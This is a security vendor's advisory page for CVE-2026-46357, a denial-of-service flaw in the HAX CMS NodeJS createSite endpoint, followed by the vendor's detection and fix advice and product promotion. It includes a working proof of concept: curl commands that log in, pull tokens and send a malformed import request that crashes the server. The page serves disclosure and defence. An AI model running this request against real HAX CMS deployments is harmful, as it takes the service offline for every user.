CVE-2026-46357
MEDIUMCVE-2026-46357 is a medium-severity (CVSS 6.5) Improper Input Validation vulnerability in @haxtheweb/haxcms-nodejs. O3 Security confirms whether CVE-2026-46357 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
HAX CMS: Denial of Service using Malicious Import Request
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-46357.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-46357 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@haxtheweb/haxcms-nodejsnpmDescription
Summary
The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service.
Details
The createSite remote import flow does not complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens.
The crash occurs because createSite passes a file object without originalname, while HAXCMSFile.save() immediately dereferences tmpFile.originalname.replace(...).
As a result:
- the request reaches privileged code inside
createSite - the server hits the remote file handling path
- the process crashes before
downloadAndSaveFile()performs the outbound request - no imported file is written into the site directory
Affected Resources
- src/routes/createSite.js:176
- src/lib/HAXCMSFile.js:25
- system/api/createSite
PoC
- Obtain a JWT by logging in with valid credentials.
JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4)
- Extract the required tokens from the
connectionSettingsendpoint.
SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings')
ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2)
- Send the malformed request to crash the server.
curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \
-H 'Content-Type: application/json' \
-d "{
\"token\": \"$ROOT_TOKEN\",
\"site\": { \"name\": \"dos-poc\" },
\"theme\": {},
\"build\": {
\"structure\": \"import\",
\"type\": \"import\",
\"items\": [],
\"files\": {
\"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\"
}
}
}"
The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed.
<img width="950" height="278" alt="crash-detail" src="https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1" />Impact
An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @haxtheweb/haxcms-nodejs | all versions | 26.0.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @haxtheweb/haxcms-nodejs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @haxtheweb/haxcms-nodejs to 26.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-46357 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-46357 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-46357. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-46357 in your dependencies?
O3 detects CVE-2026-46357 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.